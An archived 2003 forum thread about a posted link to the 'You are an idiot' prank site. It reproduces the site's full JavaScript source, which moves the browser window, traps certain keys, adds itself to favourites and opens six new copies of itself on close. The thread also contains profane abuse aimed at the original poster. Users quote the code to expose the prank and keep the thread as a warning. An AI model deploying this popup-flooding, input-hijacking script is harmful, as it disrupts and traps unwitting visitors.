Funniest Website
(Click here to view the original thread with full colors/images)Posted by: Tormentor
Go there it is so funny :)
Posted by: Infested Cats
...thank god for popup blockers :rolleyes:
Posted by: scribblec
u r a fuking ass
your worse the infamousballs
these sites have been posted millions of times
why insist on doing it again
and again
and again
hope u fucking rot in hell u shit
people dont click it
its one of those u r an idiot things
or in other words u r like andrewlamb
Posted by: Acecool
Thank got for right click save as
<html>
<head>
<title>You are an idiot!</title>
<script language=Javascript>
function bookmark() {
if ((navigator.appName == "Microsoft Internet Explorer")
&& (parseInt(navigator.appVersion) >= 4))
{
var url="http://offiz.bei.t-online.de/idiot.html";
var title="Idiot!";
window.external.AddFavorite(url,title);
}
}
function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("You are an idiot!"); }
function ctrlkey() { if (event.keyCode == 17) alert("You are an idiot!"); }
function delkey() { if (event.keyCode == 46) alert("You are an idiot!"); }
var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;
function openWindow(url){
aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=180,height=175,titlebar=no,alwaysRaised=yes');
}
function procreate(){
openWindow('index.html');
openWindow('index.html');
openWindow('index.html');
openWindow('index.html');
openWindow('index.html');
openWindow('index.html');
}
function newXlt(){
xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10;
window.focus()}
function newXrt(){
xOff = Math.ceil(7 * Math.random()) * 5 - 10;
}
function newYup(){
yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10;
}
function newYdn(){
yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
}
function fOff(){
flagrun = 0;
}
function playBall(){
xPos += xOff;
yPos += yOff;
if (xPos > screen.width-175){
newXlt();
}
if (xPos < 0){
newXrt();
}
if (yPos > screen.height-100){
newYup();
}
if (yPos < 0){
newYdn();
}
if (flagRun == 1){
window.moveTo(xPos,yPos);
setTimeout('playBall()',1);
}
}
</script>
</head>
<body bgColor=#ffffff onload="flagRun=1;playBall();return true;bookmark();" onKeyDown="altf4key();ctrlkey();delkey();" onUnLoad="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%">
<param name=movie value="youare.swf">
<param name=quality value=high>
<embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
</embed>
</object>
</body>
</html>
Posted by: Tormentor
ok sorry about that people
Posted by: Soul814
lol the code forgot esc key :)
Posted by: 4play
how about removing the link ;)
Posted by: Tormentor
Originally posted by 4play@18 May 2003 - 16:05
how about removing the link ;)
done
Posted by: jay973
Ha Ha,this thread looks kinda pointless now.
Can anyone remove this thread so others dont get confused??
:lol: :lol:
Posted by: Bender
I'd rather leave it as a warning for other people who want to post things like this. ;)